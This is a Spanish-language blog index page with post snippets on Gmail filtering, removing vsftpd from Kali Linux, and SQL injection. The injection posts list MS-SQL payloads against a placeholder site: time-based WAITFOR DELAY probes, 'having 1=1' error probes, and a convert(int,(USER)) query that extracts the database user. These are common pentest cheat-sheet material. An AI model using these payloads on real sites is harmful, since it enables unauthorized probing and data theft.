viernes, 10 de febrero de 2017

lunes, 14 de abril de 2014

Blind SQL Injection

BLIND SQLInjection


BLIND SQL INJECTION - DETECTION

Integer Injection:
http://[site]/page.asp?id=1; WAITFOR DELAY '00:00:10'-- (+10 seconds) 
String Injection:
http://[site]/page.asp?id=x'; WAITFOR DELAY '00:00:10'-- (+10 seconds)

lunes, 27 de enero de 2014

Desinstalar Vsftpd de Kali Linux

Desinstalar vsftpd de kali linux o cualquier distro basada en debian muchas veces puede traer problemas a la hora de actualizar o instalar nuevos paquetes.

martes, 21 de enero de 2014

sábado, 18 de enero de 2014

Organiza tu inbox y filtra tus correos por años en Gmail

Cuando ya tenemos mucho tiempo con nuestra cuenta de correo de Gmail, aveces llegamos a un punto en el que es necesario organizar el inbox y que mejor momento para hacerlo que a principios de año.

jueves, 9 de enero de 2014

DETECCION BASICA DE INYECCION DE CODIGO EN MS-SQL


 MS-SQL INJECTION Basic DETECTION

DETECCION BASICA DE INYECCION DE CODIGO EN MS-SQL



     

Integer Injection:

http://[site]/page.asp?id=1 having 1=1--



Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.



String Injection:

http://[site]/page.asp?id=x' having 1=1--



Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.




ERROR SQL INJECTION - EXTRACT DATABASE USER

       

http://[site]/page.asp?id=1 or 1=convert(int,(USER))--